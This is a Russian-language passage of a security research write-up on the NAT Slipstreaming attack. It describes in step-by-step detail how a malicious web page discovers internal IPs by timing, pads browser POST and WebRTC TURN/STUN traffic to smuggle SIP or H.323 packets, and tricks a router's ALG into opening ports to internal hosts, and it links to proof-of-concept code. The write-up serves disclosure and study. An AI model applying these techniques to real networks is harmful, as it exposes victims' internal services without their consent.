Мы добиваемся этого, создавая скрытые HTML-теги `` на странице, указывающие на распространённые шлюзы (192.168.*.1, 10.0.0.1 и [другие](https://github.com/samyk/slipstream/blob/main/server#L159)), вместе с обработчиками событий JavaScript `onsuccess` и `onerror`. Каждый раз, когда изображение добавляется на страницу, запускается таймер, и если срабатывает `onsuccess`, это означает, что IP-адрес ответил веб-сервером. Если веб-сервер не запущен, но IP-адрес существует в сети, будет отправлен TCP RST (сброс, означающий, что порт закрыт), что вызовет `onerror`. Если IP-адрес не существует, RST не отправляется, и ответ займёт более 1 секунды, после чего мы понимаем, что такого IP-адреса в нашей сети нет.

Как только мы видим, что срабатывает одно из этих событий, мы определяем потенциальную внутреннюю подсеть, а затем выполняем ту же атаку для каждого IP-адреса в подсети (например, 192.168.0.[2-255]), на этот раз используя более точное измерение времени, чтобы определить, какой IP-адрес отвечает **быстрее всего**. Скорее всего, это наш собственный (жертвы) внутренний IP, так как нам даже не нужно покидать сетевой интерфейс. Даже если по какой-то причине мы не первые, мы всё равно пытаемся выполнить атаку на все IP-адреса, которые ответили в сети.

## Путаница протоколов браузера

Как только клиент получает размеры пакетов и внутренний IP-адрес, он создаёт специально сформированную веб-форму, которая дополняет POST-данные до тех пор, пока, по нашему мнению, пакет не будет фрагментирован, после чего добавляется наш SIP REGISTER, содержащий внутренний IP-адрес. Форма отправляется через JavaScript без согласия жертвы. :)

[![Успешный пакет, разделённый на корректный SIP-пакет](https://assets.kitploit.com/production/public/readmes/3946/9d8133cafc497975e4bfc89034da0246e8bdd460f73b213e91d71bf14dd097e6.png)](img/pinpkt.png)

### Изменение пакетов в реальном времени в браузере

На нашем сервере атаки, поскольку мы видим входящие пакеты, мы проверяем, был ли SIP-пакет перезаписан с публичным IP-адресом. Если нет, мы автоматически сообщаем клиенту, что SIP-пакет не попал на ожидаемую границу пакета и не был перезаписан, и предоставляем новое положение границы, полученное от нашего сниффера.

Клиентский код автоматически корректирует размер пакета в соответствии с новым размером только после двух последовательных неудач. Некоторые браузеры (Firefox) иногда имеют немного другой размер пакета из-за генерируемой ими multipart-boundary для формы, которая, в отличие от большинства других браузеров, не имеет фиксированной длины. Я обнаружил, что примерно после 10 попыток размер становится одинаковым, и атака удаётся.

Как только SIP-пакет попадает на границу пакета, NAT обманывается, полагая, что это легитимная SIP-регистрация от SIP-клиента на машине жертвы. Когда наш сервер отвечает корректным SIP-ответом (вложенным в корректный HTTP-ответ, чтобы браузер не заметил ничего подозрительного), NAT открывает порт, указанный в исходном пакете, который мы заставили жертву отправить, и маршрутизатор теперь будет **перенаправлять любой порт, выбранный атакующим, обратно к внутренней жертве — и всё это благодаря простому посещению веб-сайта**.

Атака завершена. Теперь атакующий может подключаться к произвольным службам TCP/UDP, работающим на жертве.

# Другие находки

Они не используются в этой атаке, но тем не менее интересны и потенциально могут быть применены в других атаках.

- IP-фрагментация позволяет полностью управлять всеми данными в разделе данных IP-пакета, то есть полный контроль над UDP-заголовком, включая исходный/целевой порты, в переполненном пакете.
  - Стек IP жертвы собирает фрагменты и не будет анализировать данные, однако NAT, через который проходит пакет, будет уязвим.
  - Позволяет обходить брандмауэр браузера или системы, так как проверяется только исходный UDP-пакет, а не фрагментированный переполненный пакет.
- DoS-атака на SIP-клиента путём отправки `Expires: 0` и удаления conntrack для другого пользователя.
- Если порт уже занят, прослушиваемый порт увеличивается до тех пор, пока не произойдёт переполнение и порт не станет равным 0.
- STUN не имеет реализованной аутентификации ни в одном современном браузере.

# Скачать

Спасибо за чтение! Вы можете скачать код доказательства концепции с моего [репозитория NAT Slipstream на GitHub](https://github.com/samyk/slipstream).

# Контакты

**Контактное лицо:** [@SamyKamkar](https://twitter.com/samykamkar)

Больше моих проектов на <https://samy.pl> или, возможно, свяжитесь со мной по адресу <[email protected]>.
Скачать инструмент
RFC 793 x3.1
  • большой UDP-маяк отправляется из браузера через механизм аутентификации TURN WebRTC на нестандартный порт серверу атакующего, чтобы вызвать фрагментацию IP с заполненным полем username TURN
    • мы выполняем атаку, аналогичную нашей сегментации TCP, но через UDP, так как фрагментация IP даст другие значения, чем сегментация TCP
    • размер MTU жертвы, размер IP-заголовка, размер IP-пакета, размер TCP-заголовка, размер TCP-сегментов определяются сервером и отправляются обратно в браузер жертвы, используются позже для «набивки» пакетов
  • (v1) «SIP-пакет» генерируется в новой скрытой форме, содержащей внутренний IP, чтобы вызвать отслеживание соединений шлюза прикладного уровня
    • «HTTP POST» на сервер через TCP-порт 5060 (порт SIP), обходя заблокированные порты браузера
    • данные POST «набиваются» до точного размера TCP-сегмента / границы пакета, затем «SIP-пакет» добавляется и отправляется через веб-форму
    • стек IP жертвы разбивает POST на несколько TCP-пакетов, оставляя «SIP-пакет» (как часть данных POST) в отдельном TCP-пакете без HTTP-заголовков
    • если браузер изменяет размер границы multipart/form (Firefox) или размер пакета меняется по другой причине, изменение размера сообщается клиенту, и клиент автоматически повторно отправляет с новым размером
    • при открытии UDP-порта SIP-пакет отправляется через протокол TURN внутри специально сформированного поля username, вызывая фрагментацию IP и точный контроль границ
  • (v2) «H.323-пакет» с использованием соединения на основе STUN по TCP (обход патчей для v1 и ограничений портов браузера), содержащий внутренний IP, чтобы вызвать отслеживание соединений шлюза прикладного уровня, но принудительно перенаправляет на любой другой хост в сети в пакете «переадресации вызова»
    • «Переадресация вызова H.323» на сервер через TCP-порт 1720 (порт H.323), обходя заблокированные порты браузера, несмотря на блокировку порта — обход порта выполняется с помощью функции STUN WebRTC, которая не учитывает список заблокированных портов
    • поле username «набивается» до точного размера TCP-сегмента / границы пакета, затем «H.323-пакет» добавляется и отправляется через веб-форму
    • стек IP жертвы разбивает POST на несколько TCP-пакетов, оставляя «H.323-пакет» (как часть данных STUN) в отдельном TCP-пакете без HTTP-заголовков
    • если браузер изменяет размер границы multipart/form (Firefox) или размер пакета меняется по другой причине, изменение размера сообщается клиенту, и клиент автоматически повторно отправляет с новым размером
  • NAT жертвы видит корректный пакет SIP REGISTER на порту SIP или корректный пакет переадресации вызова H.323 (без HTTP-данных), что вызывает ALG для открытия любого TCP/UDP порта, определённого в пакете, обратно к любому хосту жертвы в сети
    • NAT жертвы перезаписывает пакет SIP или H.323, заменяя внутренний IP на публичный, намекая атакующему, что атака успешна
    • (v2) поскольку переадресация вызова H.323 может направляться на любой другой IP, пакет может содержать любой внутренний IP любого другого хоста в сети жертвы, заставляя NAT перенаправлять порты на любую систему в сети
    • даже если NAT жертвы обычно перезаписывает исходные порты, ALG всё равно будет вынужден перенаправить порт на выбранный атакующим порт, так как ALG считает, что машина жертвы (или другая машина в сети, полностью определяемая атакующим) открыла этот порт, и атакующий видит новый исходный порт в прибывшем пакете SIP/H.323
    • атакующий теперь может обойти NAT жертвы и подключиться напрямую к любому порту на любой машине в сети, открывая ранее защищённые/скрытые сервисы и системы
  • для исследования... может быть, вами?
    • безвредное использование: эта техника по сути даёт браузерам полную возможность TCP и UDP сокетов для общения с любым протоколом локально в системе; соединение можно абстрагировать через облачный сервер, который подключается обратно, но браузер просто общается с облачным сервером, как если бы это был сокет, делая браузеры гораздо более мощными для общения по протоколам, недружественным к вебу
    • если тестирование происходит в виртуальной машине (VM) с использованием общего сетевого подключения (используется для защиты хоста от атак, маршрутизируя трафик через хост, не позволяя VM выходить напрямую в сеть), если пакеты выходят, то порты в итоге открываются на родительской хост-машине, а не на VM ;)
    • фрагментация IP позволяет полностью контролировать все данные в разделе данных IP, то есть полный контроль над UDP-заголовком, включая исходные/целевые порты в переполненном пакете... что ещё можно этим злоупотребить?
  • process_sip_request(...)
  • strncasecmp(*dptr, handler->method, ...) обработчик выйдет, если метод (например, REGISTER) не встречается в начале данных пакета (TCP или UDP) как мы видели с INVITE выше...REGISTER — это просто ещё одна SIP-команда
  • это сложность: если мы используем только веб-браузер, мы не можем создать сырое TCP-соединение и начать любой пакет с наших собственных данных, так как они будут заполнены заголовками HTTP/TLS... или всё-таки можем?
  • process_register_request(...)nf_ct_expect_init(...) через sip_handlers мы инициализируем "дыру" в брандмауэре (порт, чтобы удалённый человек мог подключиться обратно), но мы ещё не открываем её
  • nf_nat_sip_hooks -> nf_nat_sip(...) NAT также изменяет (переписывает) внутренний IP-адрес клиента на публичный IP NAT, чтобы получатель мог к нему обратиться
  • sip_help_tcp(...) -> process_sip_msg(...) ->
    • process_sip_response(...) теперь мы смотрим на SIP-ответ от SIP-сервера
      • process_register_response(...) -> refresh_signalling_expectation(...) порт перенаправляется NAT только после того, как SIP-сервер отправляет корректный SIP-ответ